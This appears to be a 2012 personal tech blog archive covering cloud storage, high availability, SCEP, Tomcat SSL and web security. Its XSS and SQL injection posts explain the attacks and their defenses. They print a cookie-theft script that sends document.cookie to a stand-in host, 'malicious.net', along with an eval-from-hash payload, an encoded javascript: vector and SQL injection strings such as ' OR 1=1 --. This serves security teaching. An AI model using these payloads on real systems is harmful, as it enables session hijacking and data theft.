This attack, uses a weakness in the HTTP protocol definition to inject hostile data into the user’s browser. Klein describes the following classes of attacks:

· Cross-Site Scripting (XSS)

· Web Cache Poisoning (defacement)

· Cross User attacks (single user, single page, temporary defacement)

· Hijacking pages

· Browser cache poisoning

In HTTP, the headers and body are separated by a double carriage return line feed sequence. If the attacker can insert data into a header, such as the location header (used in redirects) or in the cookie, and if the application does not protect against CRLF injection, it is quite likely that the application will be vulnerable to HTTP Response Splitting. The attack injects two responses (thus the name), where the first response is the attacker’s payload, and the second response containing the rest of the user’s actual output, is usually ignored by the web server.

Code Injection

Java generally does not contain the ability to evaluate dynamic JSPs. However, there are two exceptions to this:

· Dynamic JSP inclusion (<jsp:include ...>)

· Using a third party JSP eval taglibs.

· Portals and other community-based software often require the evaluation of dynamic code for templates and skinning. If the portal software requires dynamic includes and dynamic code execution, there is a risk of Java or JSP code injection.

To combat this, the primary defenses are to

· Always prefer static include ( <% include ... %> )

· Not allow the inclusion of files outside of the server by using Java 2 Security policies

· Establish firewall rules to prevent outbound Internet connectivity

· Ensure that code does not interpret user data without prior validation.

Generally, dynamic inclusion and dynamic code evaluation should be frowned upon.

HTML5 Security Cheat Sheet

<TODO>

Cloud Computing - High Availability (HA) and Disaster Recovery

2012-10-28T13:59:00.000-07:00

The goal of the traditional High Availability (HA) architecture is to mitigate or prevent application downtime or outages due to failures caused by application errors or any infrastructure failure. Disaster recovery primarily deals with falling back on the secondary site in case of a failure at the primary site.

HA focuses on overcoming technology failures such as network and storage failures. DR focuses on overcoming the physical data center or infrastructure disasters. Both HA and DR focus on ensuring that applications are available 24x7 with zero or minimal downtime caused by planned or unplanned outages

Recovery Time Objective (RTO): how quickly an application must be back in operation following a failure

Recovery Point Objective (RPO):

A simple way to achieve HA/DR is by using backup and restore operations or by using cluster architecture and finally using fault tolerant hardware. Needless to say not all organizations use fault tolerant hardware but backup/restore becomes a very slow process and could take hours or days.

==
Data replication and HA clustering can be combined to build what is called a "shared nothing cluster". The clustering technology ensures that applications and servers are operational and can perform a failover from one server to another in the event that any problems are detected. The data replication software handles mirroring data needed by the application between the servers so that no matter which server the application is running on, the data is available to it. The data replication can occur across either a LAN or across a WAN, depending on where the servers in the cluster are located.

==

cloud Computing - Storage

2012-10-14T11:03:00.000-07:00

Besides required features, performance, and cost, the criteria that typically drive customer choices are the reliability, availability, and scalability of a given storage solution. SANs are specifically designed to meet these additional criteria and satisfy the requirements of mission-critical business applications. The data center infrastructures built to run these applications typically handle large volumes of important information and data. As such, they must operate reliably and continually and be able to grow to meet increasing business volume, peak traffic, and an ever-expanding number of applications and users. The key capabilities that SANs provide to meet these requirements include

Storage clustering
Ease of connectivity
Storage consolidation
LAN-free backup
Server-less backup
Ease of scalability
Storage and server expansion
Bandwidth on demand
Load balancing

===

LV 1871 succeeded in virtualizing its servers and moving its application code base, but it felt it could take virtualization even further to benefit the business. “Our storage was principally network-attached at this point,” said Triebs. “We believed that we would improve both IT cost ratios and our computing performance for the company and its agents if we virtualized storage, and that this would also improve our capabilities of failover and data mirroring.”
One of the data center agility concerns was the time and effort it took to re-provision storage with LV 1871’s network-attached storage orientation. “With the SCSI-attached storage, we did not have a dynamic infrastructure that would allow us to quickly re-provision storage when we needed to,” said Triebs. “Instead, we had to concern ourselves with the model of the hardware, the space required, a buy decision and finally implementation. This end to end process could take as long as six to twelve weeks, and it was an expensive use of internal IT resources.”
LV 1871 made the decision to invest in an initially more expensive SAN (storage-attached network) solution that would pave the way for a virtualized storage framework, where different storage media could easily be tiered into fast access, more expensive disk and lower access, cheaper disk—with deployments and provisioning being accomplished in a matter of minutes, not weeks. “The virtual storage backbone not only reduced our internal costs and our speed of response, but it also allowed us to improve our failover and backup mechanisms for our two separate data centers,” said Triebs. “Data mirroring between the two data centers now takes minutes.” The virtual storage backbone has dramatically improved performance. Virtualization has given LV 1871 vendor independence as well, which lends more flexibility to buying decisions. Additional return on investment (ROI) is being seen in the new tiered storage strategy with its reduction of wasted storage space. “It costs us roughly $20/GB for faster access, tier one storage, while tier two, slower access storage costs around $8/GB,” said Triebs. “In our new tiered storage structure, we find that only one-third of our data is constantly accessed and needs to be on tier one, and we have organized our data this way. This is a primary area where we are realizing data center savings.”
Along the way, Triebs and his staff learned valuable lessons about working with virtualized server and storage infrastructures. “One was a simple practice to remember to delete virtual machines when they were no longer needed,” said Triebs. “On the data side, it is also imperative to think about technologies like data deduplication before doing backups, so you do not store extraneous data. Finally, when you consider going to a LAN/SAN virtual infrastructure as your backbone, you need to consider architectural concepts, such as a split fabric with the use of virtual LANs (VLANs)—and when it comes to security you want your DMZ and LAN to be separate from each other, and hosted on separate hardware.”

===

tiered storage
In a tiered strategy, Tier 1 storage is reserved for demanding applications, such as databases and e-mail, that require the highest performance and can justify the cost of serial-attached SCSI, Fibre Channel SANs, high-performance RAID levels, and the fastest available spindles--or even SSD drives.

Direct attached storage (DAS) is still the top choice of our survey participants for Tier 1 storage of applications such as databases and e-mail. Fibre Channel came in a close second, with 45% of respondents reporting use of Fibre Channel SANs, mainly for Tier 1 storage. Fibre Channel remains strong despite countless predictions of its rapid demise by most storage pundits--and the downright offensive "dead technology walking" label attached by a few.

One survey finding that's not completely unexpected--we were tipped off by similar findings in previous InformationWeek Analytics State of Storage reports--but is nonetheless puzzling is the poor showing by iSCSI SANs, which are the main Tier 1 storage platform for just 16% of respondents. That's less than half the number who report using NAS, our third-place response. Seems most IT pros didn't get the memo that iSCSI would force Fibre Channel into early retirement.

In all seriousness, the continued dearth of interest in iSCSI is mystifying given the current economic backdrop, the widespread availability of iSCSI initiators in recent versions of Windows (desktop and server) and Linux, and the declining cost of 1-GB and 10-GB connectivity options. We think the slower-than-predicted rate of iSCSI adoption--and the continued success of Fibre Channel--is attributable to a few factors. First, the declining cost of Fibre Channel switches and host bus adapters improves the economic case for the technology. Second, we're seeing slower-than-expected enterprise adoption of 10-Gbps Ethernet, leaving iSCSI at a performance disadvantage against 4-GB Fibre Channel.

However, iSCSI's performance future does look bright thanks to emerging Ethernet standards such as 40 Gbps and 100 Gbps that will not only increase the speed limit, but also accelerate adoption of 10-Gbps Ethernet in the short term. In our practice, we also see a reluctance among CIOs to mess with a tried-and-true technology such as Fibre Channel, particularly for critical applications like ERP, e-mail, and enterprise databases. Sometimes, peace of mind is worth a price premium.

tier 2

Tier 2 comprises the less expensive storage, such as SATA drives, NAS, and low-cost SANs, suitable for apps like archives and backups, where high capacity and low cost are more important than blazing speed. Our survey shows that NAS is the Tier 2 architecture of choice, used by 41% of respondents. DAS is the main Tier 2 storage of 34% of respondents. Once again, iSCSI SAN finished last, with a mere 17% of respondents using the technology primarily for Tier 2 storage. This is an even more surprising result than for Tier 1--we expected iSCSI's low cost relative to Fibre Channel SANs to result in a healthy showing here.

Tier 3 storage typically consists of the lowest-cost media, such as recordable optical or WORM (write once, read many) disks, and is well suited for historical archival and long-term backups.

== growing importance of data deduplication.. but more on that some other time.

Security: XSS and Injection attacks and prevention

2012-09-30T23:37:00.000-07:00

Background

Typically, an attacker tries to interact with the server in unexpected ways to perform unauthorized actions and access unauthorized data.

XSS type attacks are different, because the attacker's primary target is the application's other users. The vulnerabilities still exist within the application itself. However, the attacker is using these vulnerabilities to carry out malicious actions against another end user.

Attacks against other users have many complexities are not not well understood than server side ones.

Overview

XSS is one of the most prevalent web application vulnerability found in the wild (2nd most common as per OWASP).

XSS typically represents a critical security weakness within an application. It can often be combined with other vulnerabilities for malicious purposes.

It's even possible to turn an XSS attack into a virus or self-propagating worm

What happened?

Maybe the user did something wrong.

Stored XSS attacks can compromise a users system without any insecure action from her.

But the attacker doesn't own my App.

It's possible to own an App.

Type of XSS attacks

Reflected XSS Vulnerabilities

Stored XSS Vulnerabilities

DOM-Based XSS Vulnerabilities

Reflected XSS Vulnerabilities

Reflected attacks are those where the injected code is reflected off the web server and are commonly delivered to victims via an e-mail message.

Let's say a web application has a dynamic page to display error messages.

http://example.com/error.jsp?msg=An+error+occurred

This works well for the application because the app can now control the error page by a parameter and use this page to display all the error messages in the application.

The problem

The msg parameter is not filtered or sanitized and the value is simply inserted in the error page. This allows an attacker to specify a malicious script in the message parameter and the web page will simply "reflect" it back.

A benign example:

http://example.com/error.jsp?msg=<script>alert(1)</script>

This hardly seems threatening, a user executes a script in his own browser, in his own session and for the same same web app. Right?

How to exploit the vulnerability?

Let's walk through a few steps to see how one can exploit this vulnerability.

A user logs into a web application and is issued a session id:

Set-Cookie: sessId=123

For now, let's assume ( somehow) the attacker feeds the below URL to the user:

http://example.com/error.jsp?message=<script>var+i=new+Image
;+i.src="http://malicious.net/"%2bdocument.cookie;</script>

The user clicks on the URL provided and the browser and the server response contains the Javascript the attacker embedded.


The users browser executes the Javascript which results in the current session token to be sent to the attacker's website identifed above as "malicious.net". 


The attacker is now free to hijack the users session and gain access to the users personal information or perform actions on his behalf.


But wait...
Since the attacker got the user to click on something extraneous. Why doesn't the attacker execute a malicious script directly from his site?
because browsers segregate content based on the domain and cookies can only be accessed by the domain that issued them.


Someone might question the feasibility of this attack especially since it requires the user to "click" on something extraneous to activate this attack. Which user would do that?
Well, "Administrators" in Apache Software foundation ended up doing that. Refer:http://blogs.apache.org/infra/entry/apache_org_04_09_2010

Well, the CEO of a webmail provider did. Refer http://blogs.zdnet.com/security/?p=3514 



Summary
Even though an attacker's script originated somewhere else it was able to gain access to the cookies issued 
by example.com and that is why we call it cross-site scripting.





Stored XSS Vulnerabilities

Stored XSS attacks happen when data submitted by one user is stored in the application and then is displayed to other users without being filtered or sanitized.





how to exploit the 
The attacker will submit some data including malicious content to the web app which stores this data. For example:
     A FAQ website accepts FAQ entries from end users and stores it in a web page that is available to the other users. An attacker can submit content with malicious javascript in the FAQ entry that ends up being stored in the website's content and is rendered every time someone visits the page.


    A user ( or victim) ends up viewing the page allowing the "stored" malicious content to execute in his browser.


Reflected attacks look more glamorous but Stored XSS attacks are generally more dangerous. Mostly because in the reflected attack, the attacker needs a user to visit a a crafted link. 
In the case of stored attack, the attacker exploits the vulnerability and simply waits for a user to visit the affected page.
Another reason is because the reflected attack requires a session to exist before it can be hijacked immediately otherwise the user has to be coaxed into log-in in the application.


DOM-Based XSS Vulnerabilities

Reflected and Stored are server side execution issues while DOM is client side. DOM-based XSS vulnerabilities appear more like reflected XSS bugs than the stored XSS ones. The attacker typically needs to induce a user to access a crafted URL containing malicious code.

Let's walk through steps similar to the reflected XSS example:

Let's say a web application has a dynamic page to display error messages.

http://example.com/error.jsp?msg=An+error+occurred

Let's assume the error.jsp has the following code:

var url = document.location;

url = unescape(url);

var message = url.substring(url.indexOf('message=') + 8, url

.length);

document.write(message);

</script>


Let's say the attacker feeds the below URL to the user:

http://example.com/error.jsp?message=<script>var+i=new+Image
;+i.src="http://malicious.net/"%2bdocument.cookie;</script>

The user clicks on the URL provided and the browser and the client side code in error.jsp contains the malicious Javascript the attacker provided.
The users browser executes the Javascript which results in the current session token to be sent to the attacker's website identifed above as "malicious.net".

The attacker is now free to hijack the users session and gain access to the users personal information or perform actions on his behalf.

how to identity and prevent XSS attacks

perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output.
Tools that can be used to scan (but may offer limited analysis).

Nessus, LAPSE, <TODO>
Scrubbr is a BSD-licensed database scanning tool that checks numerous database technologies for the presence of possible stored cross-site scripting attacks.

Turn off HTTP TRACE support on all webservers.

Even when document.cookie is disabled or not supported on the client.
An HTTP Trace call could be triggered which collects the user's cookie information from the server.

Both reflected and stored XSS can be addressed by performing the appropriate validation and escaping on the server-side.

Input validation by itself cannot prevent XSS. But it is definately useful and should be employed.
Use escaping as the primary defense.
However unicode encoding is automatically decoded and provides no defense against attacks. It is important to be consistent and specify the encoding as UTF-8 just to avoid misinterpretations between charsets though.
Use an escaping library like ESAPI

Simply encoding data is not enough. it is important to use the escape syntax for the part of the Html document we are putting the data into....

Escape the untrusted data that goes in HTML element with HTML entity encoding

to prevent switching into any execution context
Html elements including <body>, <div>
Example:

String encoded = ESAPI.encoder().encodeForHTML(request.getParameter( "untrusted" ) );

Escape the untrusted data that goes in HTML attributes



This does not cover event handlers and other special attributes like src, href, style require special handling
String  encoded=ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "untrusted") );





Escape the untrusted data that goes in HTML event handlers and script blocks

The only safe place to put untrusted data into this javascript code is inside a quoted "data value" because it requires a corresponding quote to break out of this execution context.
there are some JavaScript functions that can never safely use untrusted data as input. For instance window.setInterval.
String encoded= ESAPI.encoder().encodeForJavaScript( request.getParameter( "untrusted" ) );

Escape the untrusted data that goes in stylesheet or style tag.

Just like javascript, there are some CSS contexts that can never take untrusted data even if escaped. For instance, background-url and expression.
String  encoded = ESAPI.encoder().encodeForCSS( request.getParameter( "untrusted" ) );

Escape the untrusted data that goes in Html URL.

Only encode the URL param for URL encoding:

String safe = ESAPI.encoder().encodeForURL( request.getParameter( "input" ) );





Don't encode complete or relative URLs with URL encoding. We first need to validate it.

boolean isValidURL = ESAPI.validator().isValidInput("URLContext", userURL, "URL", 255, false); 
if (isValidURL) {        <a href="<%=encoder.encodeForHTMLAttribute(userURL)%>">link</a>  }







Validate or clean user-driven HTML in an outbound way




OWASP AntiSamy



  import org.owasp.validator.html.*;
  Policy policy = Policy.getInstance(POLICY_FILE_LOCATION);
  AntiSamy as = new AntiSamy();
  CleanResults cr = as.scan(dirtyInput, policy);
  MyUserDAO.storeUserProfile(cr.getCleanHTML()); // some custom function
  

OWASP Java HTML Sanitizer



  import org.owasp.html.Sanitizers;
  import org.owasp.html.PolicyFactory;
  PolicyFactory sanitizer = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS);
  String cleanResults = sanitizer.sanitize("<p>Hello, <b>World!</b>");




DOM based XSS
It is extremely difficult to prevent DOM based XSS attacks because of the large surface area and lack of standardization across browsers.


Rough guidelines to protect against DOM based XSS

Always JavaScript encode and delimit untrusted data as quoted strings when entering the application. There are examples referenced below.
Use document.createElement(“…”), element.setAttribute(“…”,”value”), element.appendChild(…), etc. to build dynamic interfaces. For setAttribute, follow the restrictions below. 
Avoid use of HTML rendering methods: element.innerHTML = “…”; element.outerHTML = “…”; document.write(…); document.writeln(…);

Understand the dataflow of untrusted data through your JavaScript code. If you do have to use the methods above remember to HTML and then JavaScript encode the untrusted data.

There are numerous methods which implicitly eval() data passed to it. Make sure that any untrusted data passed to these methods is delimited with string delimiters and enclosed within a closure or JavaScript encoded to N-levels based on usage, and wrapped in a custom function.

N-Levels of Encoding

Depending upon the number of implicit eval(), we have to JS encode the untrusted data that many number of times.


Ideally, the correct way to apply encoding is to server-side encode first.

var input = “<%=Encoder.encodeForJS(untrustedData)%>”;  //server-side encoding
window.location = ESAPI4JS.encodeForURL(input);  //URL encoding is happening in JS 
document.writeln(ESAPI4JS.encodeForHTML(input));  //HTML encoding is happening in JS
Note: Don't rely on JS encoding as the client side library could be subverted.

Use a level of indirection and avoid using untrusted data as direct object references.

Caja: JavaScript implementation for "virtual iframes" based on the principles of object-capabilities.  Caja takes JavaScript (technically, ECMAScript 5 strict mode code), HTML, and CSS input and rewrites it into a safe subset plus a single JavaScript function with no free variables.  Instead of giving direct references to DOM objects, the host page typically gives references to wrappers that sanitize HTML, proxy URLs, and prevent redirecting the page;  prevent certain phishing, XSS and downloading malware.

Blindly encoding HTML is not enough. Even if we encode HTML that is set in the "value" attribute of an Html tag, it is automatically decoded when we access that value from JavaScript.
perfom server side length checks on the input data 


Escape untrusted data in execution context.

If we are in the execution context ( for instance within a script) then 

first escape the HTML and then
escape the javascript
Example:

element.innerHTML = “<%=Encoder.encodeForJavascript(encoder.encodeForHTML(untrustedData))%>”;


While using Html attributes in Javascript context, typically they can be protected by Html Attribute encoding of the untrusted data, followed by Javascript encoding. However in the javascript context, we have the potential to break the data display if we do that. To avoid this:

x.setAttribute(“value”, ‘<%=encoder. encodeForJavaScript(untrusted)%>’);

The above rule (of escaping javascript) does not work in the event handlers and javascript code subcontexts.

 primary recommendation is to avoid including untrusted data in this context. 
 Untrusted data that was properly JavaScript encoded but is still dangerous(JavaScript encoding does not stop attacks within an execution context). 

x.setAttribute("onclick", "\u0061\u006c\u0065\u0072\u0074\u0028\u0032\u0032\u0029");

Though dangerous, directly setting event handler attributes will allow JavaScript encoding to mitigate against DOM based XSS. 
The following DOES WORK because the encoded value is a valid variable name or function reference.  "testIt" is JavaScript encoded:

document.getElementById("bb").onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074; 


When within an execution context ( javascript code), we need to encode the URL followed by Javascript encoding to prevent against attacks in the url field and in setAttribute calls.

document.body.style.backgroundImage = "url(<%=encoder.encodeForJavaScript (encoder.encodeForURL(untrusted))%>)";

Important: If you use the esapi function encodeForJavaScript() inside document.write, it is advised that you change them with other appropriate esapi functions depending on the context where the data is ultimately landing. For example, if you have document.write(“<script>alert(‘XSS’)</script>”), you know the data is landing in html body context, so it is appropriate to use encodeForHTML() wrapper. Using user input inside eval is less common, but more disastrous. The reason for this is you can still begin another command context using , and (space) char and it won’t be encoded by function encodeForHTML(). So, it is better to avoid putting user input inside eval.

The below encodings don't work. Example:

<script>
document.write("<%= ESAPI.encoder().encodeForJavaScript(vulstr2) %>");
eval("u=<%= ESAPI.encoder().encodeForJavaScript(vulstr3) %>");
</script>
An appropriate encoding is to use HTML encoding in the first case.



HttpOnly flag

With an HttpOnly flag (optional) in the response header, the cookie cannot be accessed through client side script. So, even if a cross-site scripting (XSS) flaw exists, the browser (primarily Internet Explorer) will not reveal the cookie to a third party.
Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]


Attempts to bypass checks.

An attacker can encode portions of the javascript malicious code to hide against any checks. For instance "a" is encoded as UTF-8.


<IMG SRC=j&#X41vascript:alert('test2')>
 



Tips

XSS attacks can be carried out without using the <script> tags inside html attributes like onload, onerror etc.
Output validation is the most important and is mandatory. Performing strict input validation should be viewed as a secondary failover.
White-listed input validation. Data contains only a predefined list of characters.
Eliminate dangerous insertion points.




Test
What do we escape and in which order?


<a href=”javascript:myFunction(‘<%=untrusted%>’, 'test');”>Click Me</a>
...
<script>
Function myFunction (url,name) {
    window.location = url;
}
</script>




Answer:

In the above example, untrusted data started in the rendering URL context (href attribute of an <a> tag) then changed to a JavaScript execution context (javascript: protocol handler) which passed the untrusted data to an execution URL subcontext (window.location of myFunction). 



Because the data was introduced in JavaScript code and passed to a URL subcontext the appropriate server-side encoding would be the following:
 <a href=”javascript:myFunction(‘<%=Encoder.encodeForJavaScript( ?
              Encoder.encodeForURL(untrustedData))%>’, 'test');”>link</a>



More questions
Questions:
1.What standard "signature" in an application's behavior can be used to identify most instances of XSS vulnerabilities?
 
2.You discover a reflected XSS vulnerability within the unauthenticated area of an application's functionality. State two different ways in which the vulnerability could be used to compromise an authenticated session within the application.
 
3.You discover that the contents of a cookie parameter are copied without any filters or sanitization into the application's response. Can this behavior be used to inject arbitrary JavaScript into the returned page? Can it be exploited to perform an XSS attack against another user?
 
4.You discover stored XSS behavior within data that is only ever displayed back to yourself. Does this behavior have any security significance?
 
5.You are attacking a web mail application that handles file attachments and displays these in-browser. What common vulnerability should you immediately check for?
 
6.How does the same-origin policy impinge upon the use of the Ajax technology XMLHttpRequest? 
 
7. Name three possible attack payloads for XSS exploits (that is, the malicious actions that you can perform within another user's browser, not the methods by which you deliver the attacks).
 
8.You have discovered a reflected XSS vulnerability where you can inject arbitrary data into a single location within the HTML of the returned page. The data inserted is truncated to 50 bytes, but you want to inject a lengthy script. You prefer not to call out to a script on an external server. How can you work around the length limit?
 
9.You discover a reflected XSS flaw in a request that must use the POST method. What delivery mechanisms are feasible for performing an attack?
 
Answers:


1.User-supplied input is returned unmodified within the application’s response to that input. 

2.In most cases, XSS flaws within unauthenticated functionality work just as effectively against authenticated users – the functionality behaves in the same way, resulting in arbitrary JavaScript execution within the context of the authenticated user’s session.


Even if a target user is not logged in at the time of the attack, they may still be compromised. If the application is vulnerable to session fixation, then an attacker can capture their token and wait for them to log in. An attacker can inject code into the login page to capture keystrokes, or even present a Trojan login form which sends their credentials elsewhere. 


3.The answer to the first question is "yes". The behavior of course enables arbitrary JavaScript to be injected via a crafted request. The answer to the second question is "maybe". Historically, various ways have existed of injecting arbitrary HTTP headers into cross-domain requests, to inject a malicious cookie. Older versions of Flash and XMLHttpRequest have been vulnerable in this way. Further, many applications designed to use a cookie will in fact accept the same named parameter in other locations, such as the query string or message body. 


4.In isolation, it appears that this behavior could only ever be used by a user to attack themselves. However, in conjunction with another suitable vulnerability, such as an access control flaw, or cross-site request forgery vulnerability, it could be highly significant, and could enable an attacker to inject stored JavaScript into the pages displayed to other application users. 
5.If the application displays HTML or text files without any sanitization, then JavaScript contained within these will execute within the browser of any user who views the attachment. Further, if a JPEG file contains HTML, then this will be automatically processed as HTML within some browsers. Many web mail applications do not adequately defend against XSS in message attachments. 


6.Because XMLHttpRequest can be used to retrieve the full response from an HTTP request, it can only normally be used to make requests to the same domain as the one that is invoking it. However, HTML5 has introduced the facility for XMLHttpRequest to make cross-domain requests, and retrieve responses, with the permission of the requested domain (see Chapter 13).
7.There are countless different attack payloads for XSS exploits. Some of the more commonly discussed payloads are:


•stealing the session cookie;
•inducing user actions; 
•injecting Trojan functionality; 
•stealing cached autocomplete data; and
•logging keystrokes.


8.You can “convert” the reflected XSS flaw into a DOM-based one. For example, if the vulnerable parameter is called vuln, you can use the following URL to execute an arbitrarily long script:


/script.asp?vuln=<script>eval(location.hash.substr(1))</script>#alert('long script here ......') 


9.If the POST method is mandatory, you cannot simply construct a crafted URL within the application that will execute an attack when a user visits it. However, you can create a third-party web page that submits to the vulnerable application a form using the POST method and the relevant parameters in hidden fields. You can use JavaScript to automatically submit the form when a user views your page.

Enroll a Certificate using SCEP

2012-09-15T12:00:00.000-07:00

Overview

The Simple Certificate Enrollment Protocol is a PKI communication protocol which leverages existing technology by using PKCS#7 and PKCS#10 over HTTP. SCEP is the evolution of the enrollment protocol developed by VeriSign, Inc. for Cisco Systems, Inc.

Latest Internet Draft

http://tools.ietf.org/html/draft-nourse-scep

Steps

Requester sends GetCACert message to SCEP URL
Either CA or RA responds with single DER-encoded X.509 certificate DER-encoded 'degenerate' PKCS#7 SignedData message with an X.509 certificate chain (CA -> RA)
Requester checks if CA certificate is trusted by prompting user with message digest of X.509 certificate
Requester constructs a PKCS#10 certificate signing request (CSR)
Requester constructs a PKCS#7 EnvelopedData object using the DER-encoded CSR and encrypts the envelope encryption key (DES or Triple-DES) using the message recipient's public key (either the CA, or an RA with a keyEncipherment KeyUsage extension)
Requester constructs a PKCS#7 SignedData using the DER-encoded EnvelopedData and its certificate, and signs a (MD5, SHA-1, SHA-256 or SHA-512) digest of the data using its RSA private key
Requester sends the DER-encoded SignedData object in a PKCSReq message to the RA (or CA)
RA (or CA) opens the SignedData message and extracts the EnvelopedData.
RA uses its private key to decrypt the EnvelopedData and extracts the PKCS#10 CSR
RA examines the challengePassword in CSR to authenticate request
RA sends CSR to CA
CA generates X.509 certificate from CSR and signs it
CA sends signed-certificate to RA
RA creates a 'degenerate' SignedData and adds signed-certificate
RA creates a EnvelopedData with the DER-encoded SignedData, encrypting using the Requesters public key (provided in the SignedData)
RA creates a SignedData object and signs using the RA key with a digitalSignature KeyUsage extension
RA sends the message to the Requester

new for the SCEP client to work:

- somehow generate the keys in keystore differently? key size. alg, cipher suite etc.
- once you receive the signed response back. store it differently:

generate a pkcs#7 format.
or import the cert into the same alias as the keystore.

Programmatic enrollment using Jscep

EJBCA Scep server URL: http://localhost:8080/ejbca/publicweb/apply/scep/pkiclient.exe

EJBCA requires the name identified in the certificate as "CN=Some user" to be defined as a user in the RA database. The user id is the CN and the password is the PKCSObjectIdentifiers.pkcs_9_at_challengePassword defined during construction of PKCS10CertificationRequest.

Also, if the certificate is intended for Tomcat, then the below properties should be set correctly in the EJBCA "Add Entity" page under the "Main Certificate Data" section:

Certificate Profile: SERVER
CA: AdminCA1
Token: User Generated

Note: Somehow Jscep has an issue with spaces in the CN and only sends the text before the space to EJBCA while enrolling the cert.

References

EJBCA

http://www.ejbca.org/adminguide.html#Scep

<TODO>Provide a java.security.KeyStore example

jscep

http://code.google.com/p/jscep/

http://code.google.com/p/jscep/wiki/ClientUsage

http://code.google.com/p/jscep/wiki/CertificationRequest

https://groups.google.com/forum/?fromgroups#!topic/jscep-support/MSI7_ewuyjE

Creating a Certification Request using Bouncy Castle

PKCS10CertificationRequest.java

Configuring Tomcat for SSL

2012-08-25T15:43:00.000-07:00

Setting the server certificate

Create a server certificate for Tomcat and setup in the server. Refer my earlier post for details on how a certificate can be obtained.
Double check whether the Root cert needs to be imported in trustcacerts. it might be safe to do:

keytool -import -trustcacerts -alias <ca-cert-alias> -file <ca-cert-filename>

Tomcat Connector configuration in server.xml.

<Connector

executor="tomcatThreadPool"

port="9443"

protocol="HTTP/1.1"

connectionTimeout="20000"

redirectPort="8443"

acceptCount="100"

maxKeepAliveRequests="15"

keystoreFile="eclipse-workspace/security-utils/resources/manojkeystore.jks"

keystorePass=""

keyAlias="manojscepcertificate"

keyPass=""

SSLEnabled="true"

scheme="https"

secure="true"/>

Some of the attributes are the same as those of the basic HTTP connector, such as executor, protocol, connectionTimeout, maxKeepAliveRequests, and acceptCount. Note that although this connector will be used for HTTPS connections, you still set protocol to HTTP/1.1; other attributes will specify that this is an SSL-enabled connection.
The TCP/IP port that users specify as the secure connection port is 9443. Be sure that you set the value of the redirectPort attribute of your non-SSL connectors to this value to ensure that users that require a secure connection are redirected to the secure port, even if they initially start at the non-secure port.
The SSLEnabled attribute specifies that SSL is enabled for this connector.
The secure attribute ensures that a call to request.isSecure() from the connecting client always returns true. The default value of this attribute is false.
The scheme attribute ensures that a call to request.getScheme() from the connecting client always returns https when clients use this connector. The default value of this attribute is http.
The keystoreFile attribute specifies the name of the file that contains the server's private key and public certificate used in the SSL handshake, encryption, and decryption. You use an alias and password to access this information.
The keyAlias and keystorePass attributes specify the alias (and password) used to access the keystore specified by the keystoreFile attribute.
keyPass specified the password for the key entry in the JKS. Usually this is not set or set to be the same as the keystore password.

If the key entry was set programmatically then this password is set and has to be specified.

Limiting SSL Usage

Enabling SSL in Tomcat's server.xml file causes all files to be run both as secure and insecure pages, which can cause unnecessary server load. You can choose which applications offer SSL connections on a per-application basis by adding the following <security-constraint> element to the application's WEB-INF/web.xml file:

<security-constraint>

<web-resource-collection>

<web-resource-name>YourAppsName</web-resource-name>

<url-pattern>/*</url-pattern>

</web-resource-collection>

<user-data-constraint>

<transport-guarantee>CONFIDENTIAL</transport-guarantee>

</user-data-constraint>

</security-constraint>

This configuration allows you to set SSL options for all an application's pages in one place. For example, to disable SSL for all your application's pages, change "CONFIDENTIAL" to "NONE".

Specifying Implementation

If you have configured connectors for both APR and JSSE, Tomcat will use APR by default if you have installed the native libraries. You can force it to use JSSE by modifying a Connector's "protocol" attribute as follows:

If you want to force APR, you can do so with a similar edit:

Verification

Verify if tomcat is now showing the SSL cert. On my local server, the url is https://localhost:9443/SampleApp/services/SampleWebServiceImplPort?wsdl

SSL Cipher Strength

<TODO> Add more details about Cipher strengths and testing etc. Maybe another blog post about tools.

Note

Note: Using name-based virtual hosts on a secured connection can be problematic. This is a design limitation of the SSL protocol itself. The SSL handshake, where the client browser accepts the server certificate, must occur before the HTTP request is accessed. As a result, the request information containing the virtual host name cannot be determined prior to authentication, and it is therefore not possible to assign multiple certificates to a single IP address. If all virtual hosts on a single IP address need to authenticate against the same certificate, the addition of multiple virtual hosts should not interfere with normal SSL operations on the server. Be aware, however, that most client browsers will compare the server's domain name against the domain name listed in the certificate, if any (applicable primarily to official, CA-signed certificates). If the domain names do not match, these browsers will display a warning to the client user. In general, only address-based virtual hosts are commonly used with SSL in a production environment.

For details refer: http://tomcat.apache.org/tomcat-6.0-doc/ssl-howto.html

Setting Up a Server Certificate

http://java.sun.com/j2ee/tutorial/1_3-fcs/doc/Security10.html

Tomcat SSL configuration

http://www.mulesoft.com/tomcat-ssl

http://techtracer.com/2007/09/12/setting-up-ssl-on-tomcat-in-3-easy-steps/

Resources

TODO. SSL_TLS_Deployment_Best_Practices

TODO. Testing_for_SSL-TLS_(OWASP-CM-001)

Apache Tomcat Configuration Reference

Tomcat SSL

Security: SQL Injection

2012-08-18T22:48:00.000-07:00

SQL Injection flaws are introduced when dynamic database queries utilize user supplied input in some form.

Most of the current web applications follow an MVC architecture where the Model typically represents a relational database. The flaws within this design are easily exploitable and could cause data loss, privacy and potential financial loss.

SQL injection is a code injection technique that exploits a security vulnerability in a website's software. Code Injection is the general name for a lot of types of attacks which depend on inserting code, which is interprated by the application.

Simple Example:

Let's say we have the below query to retrieve the users from accounts table:
select name, salary from accounts where userid='inputdata' and accessid='123';

Now if the inputdata is sent as is without an validation, a malicious user could send the value as
:
someuser' OR 1=1 --

This would generate the below query:
select name, salary from accounts where userid='someuser' OR 1=1 -- and accessid='123';

This effectively subverts all our checks and the query would end up returning the names and salaries of all the users in the accounts table. Definitely not ideal !

For Select statements, the injection is usually after the where clause but could be used at ORDER by or names of tables and columns.

For INSERT statement, since the parameters values and types are unknown, we can keep adding fields to the VALUES clause until it works:

INSERT INTO users (username, password, ID, privs) VALUES ('ddd','pwd', 1111, 1)
Example:

junk')--
junk', 1)--
junk', 1, 1)--
junk', 1, 1, 1)--

An integer is implicitly casted to a string and 2000 to a date so we can use these at each position.

It's possible that a field in the Select clause that is vulnerable to SQL injection is also used in subsequent UPDATE statements and this could cause problems downstream. So any SQL Injection verification should keep that in mind.

UPDATE accounts SET password='newpwd' WHERE user = 'me' and password= 'pwd'
As described for select statements, update and DELETE statements are equally vulnerable to SQL Injection.

